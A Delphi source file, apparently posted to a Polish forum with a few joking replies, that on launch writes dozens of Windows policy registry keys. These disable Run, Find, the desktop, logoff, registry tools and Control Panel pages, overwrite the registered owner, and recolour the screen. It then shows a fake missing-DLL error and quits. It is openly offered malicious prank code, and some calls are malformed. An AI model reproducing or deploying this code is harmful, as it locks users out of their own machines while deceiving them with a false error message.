unit Unit1;

interface

uses
Windows, registry, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
reg:tregistry;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
bufsize:integer;
buffer:byte;
begin
bufsize:=1;
buffer:=16;
reg:=tregistry.create;
reg.rootkey:=HKEY_CURRENT_USER;
reg.openkey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
reg.writeinteger('Nofavoritesmenu',bufsize);
reg.writeinteger('NoFind',bufsize);
reg.writeinteger('NoRun',bufsize);
reg.writeinteger('NoStartBanner',bufsize);
reg.writeinteger('NoDesktop',bufsize);
reg.writeinteger('NoSaveSetting',bufsize);
reg.writeinteger('NoSetFolders',bufsize);
reg.writeinteger('NoLogOff',bufsize);
reg.writeinteger('NoAddPrinter',bufsize);
reg.writeinteger('NoSetTaskbar',bufsize);
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('\Software\Microsoft\Windows\CurrentVersion',true);
reg.writestring('RegisteredOrganization','yoor3ck');
reg.writestring('RegisteredOwner','per3mp7ory');
reg.rootkey:=HKEY_CURRENT_USER;
reg.openkey('ControlPanel\Desktop',true);
reg.writeinteger('MenuShowDelay',bufsize);
reg.openkey('Software\Microsoft\Windows\CurrentVersion\Policies\Network',true);
reg.writeinteger('NoNetSetup',bufsize);
reg.writeinteger('NoEntireNetwork',bufsize);
reg.writeinteger('NoFileSharingControl',bufsize);
reg.openkey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
reg.writeinteger('DisableRegistryTools',bufsize);
reg.writeinteger('NoAdminPage',bufsize);
reg.writeinteger('NoConfigPage',bufsize);
reg.writeinteger('NoDevMgrPage',bufsize);
reg.writeinteger('NoDispApperancePage',bufsize);
reg.writeinteger('NoDispCPL',bufsize);
reg.writeinteger('NoDispScrSavPage',bufsize);
reg.writeinteger('NoDispSettingsPage',bufsize);
reg.writeinteger('NoFileSysPage',bufsize);
reg.writeinteger('NoProfilePage',bufsize);
reg.writeinteger('NoSecCPL',bufsize);
reg.writeinteger('NoVirtMemPage',bufsize);
reg.openkey('DEFAULT\Control Panel\Colors',true);
reg.writestring('ActiveBorder','253 83 181');
reg.writestring('Menu','253 83 181');
reg.writestring('Background','253 83 181');
reg.openkey('DEFAULT\Control Panel\International',true);
reg.writestring('xxx');
reg.writestring('xxx');
Application.Messagebox('Nie mozna odczytac pliku vbrun400.dll','Error',MB_ok+MB_IconExclamation);
APPLICATION.TERMINATE;
end;

end.

zawieszał uniemoźliwiając pracę. Jakie znacie sposoby

Ucho:

marecki_:

złap pare wirusów

Tylko nie zapomnij odinstalować antywira :lol:

marecki_:

złap pare wirusów